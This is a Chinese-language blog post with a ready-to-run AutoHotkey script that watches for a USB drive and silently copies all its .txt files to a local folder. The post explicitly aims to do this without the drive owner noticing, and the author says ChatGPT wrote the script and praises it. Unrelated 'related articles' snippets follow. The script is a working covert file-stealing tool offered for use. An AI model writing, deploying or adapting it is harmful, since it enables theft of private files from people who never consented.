首页 > 其他分享 >实现对U盘文件的静默文件复制

实现对U盘文件的静默文件复制

时间:2024-04-24 11:11:06浏览次数:27  
标签:复制到 文件 USB Status 静默 AutoHotkey Drive% U盘

最近上课在网络情报搜集的时候,想实现一个功能,在u盘插入电脑时,电脑对u盘内的文件进行静默复制,用户没用察觉的时候将文件复制到指定位置。

一、工具

使用autohotkey工具,下载地址https://www.autohotkey.com/

下载后安装到需要的位置。

二、代码

编写脚本:

USB_Drive := "E:\" ; 修改为你的 U 盘路径
AHK_Docs_Path := A_MyDocuments . "\AutoHotkey" ; 获取 AutoHotkey 文档路径
FileCreateDir, %USB_Drive%
Loop
{
    DriveGet, USB_Drive_Status, Status, %USB_Drive%
    if USB_Drive_Status = READY
    {
        Loop, %USB_Drive%\*.txt; 这里的后缀名就是想要复制的文件类型
        {
            FileCopy, %A_LoopFileFullPath%, %AHK_Docs_Path%\%A_LoopFileName%
            ; MsgBox, 0, 完成, 已将 %A_LoopFileName% 复制到 AutoHotkey 文档路径
        }
        break
    }
    Sleep, 1000 ; 检测间隔时间(毫秒)
}

三、执行过程

双击脚本,就可以运行,但是前台是看不见的,当u盘插入的时候,就会自动把txt后缀的文件全部复制到指定位置。

四、后记

这段代码神奇的地方在于,这不是我写的,是chatgpt写的,并且,工具也是它推荐的,点一次运行成功,简直是震惊,让我对大语言模型产生极大好感。

标签:复制到,文件,USB,Status,静默,AutoHotkey,Drive%,U盘
From: https://www.cnblogs.com/wayne-tao/p/18154642

相关文章

  • python 读取ini配置文件
    三种类介绍RawCnfigParser是最基础的INI文件读取类ConfigParser类扩展了RawConfigParser的一些接口方法,添加了一些可选参数。get(section,option[,raw[,vars]])获取给定section下的option的值,所以“%”占位符在返回值中被填补,基于构造时传递的默认值,就像option,v......
  • linux文件句柄数满,linux文件句柄数超出系统限制怎么办?
    1、问题阐述:toomanyopenfiles:顾名思义即打开过多文件数。不过这里的files不单是文件的意思,也包括打开的通讯链接(比如socket),正在监听的端口等等,所以有时候也可以叫做句柄(handle),这个错误通常也可以叫做句柄数超出系统限制。2、产生的原因:经常在使用linux的时候出现,大多数......
  • FormData传输JSON同时上传单个/多个文件问题
    背景最近在开发一个功能时,涉及到向后端接口发送:JSON请求参数多个文件刚开始想通过RequestBody(application/json)形式进行传值,但是文件不好处理。有一个通过application/json传输文件数据的方法,就是将文件转成base64,然后在后端进行处理。但是这种方式涉及到大文件传输的时候,转......
  • 将C++代码文件路径、行号、函数名称等打包到#pragma message输出的方法
    #include<iostream>#define__GEN_STRING_IMPL(x)#x#define__GEN_STRING(x)__GEN_STRING_IMPL(x)#define__GEN_LOCATION_STRING()__FILE__"("__GEN_STRING(__LINE__)"):"classCTestObject{public:voidprint1(){......
  • 银行业外发重要文件用什么才安全?外发文件专业软件必选项
    银行业对一个国家至关重要,关乎国计民生。银行为我国经济建设分配资金,是社会再生产顺利进行的纽带,它能掌握和反应社会经济活动的信息,为企业和政府作出正确的经济决策提供必要的依据。通过银行,可以对国民经济各部门和企业的生产经营活动进行监督和管理,优化产业结构,提高国民经济效......
  • 修改jar里的.xml等文件内容
    修改jar里的.xml等文件内容将jar文件解压。修改解压后的xml文件。替换修改的文件或重新打包jar文件。#解压jar文件jar-xfexample.jar#修改需要更改的xml文件内容后#替换修改的文件jar-ufexample.jar./mapper/example.xml#或者#删除原始的jar文件后......
  • 军工单位安全内网文件导出,怎样做到严密的安全管控?
    军工单位是指承担国家下达的军事装备、产品研制、生产计划任务的企、事业单位,主要包括电子工业部、航空工业总公司、航天工业总公司、兵器工业总公司、核工业总公司、船舶工业总公司、中国工程物理研究院及各省国防工业办公室等。 军工单位的特点主要体现在以下几个方面:承担......
  • linux查看文件最后的修改时间
    文件时间主要包括三种:访问时间、修改时间和更改时间。执行:#statfilename.txt1、查看文件的修改时间atime访问时间指的是文件最后一次被访问的时间。要查看文件的访问时间,可以使用stat命令,并结合awk命令来提取时间信息。示例如下:stat-c%xredis.log2、查看文件的修改时间......
  • Markdowmtoblog 文件图片上传
    pycnblog博客园上传markdown文件https://www.cnblogs.com/df888/p/11826480.html注意博客园6.21更新,MetaWeblog现在不支持密码登录,需要通过访问令牌(accesstoken)登录,在博客后台设置页面,允许MetaWeblog博客客户端访问,下方有MetaWeblog访问令牌,点击查看,创建访问令牌。功能一......
  • FreeCAD导入立创EDA下载的元件step文件档无法删除PCB部分
    1.问题描述   在使用freeCAD导入step文件的时候,一开始会导入成一个成体,想隐藏某些部件,却只能隐藏整个装配体,就是图示位置无法展开,无法删除部件。2.解决方法找到编辑==》首选项 ==》Import-Export==》STEP==》导入 启用STEP复合合并。不打钩就可以了。  设置好......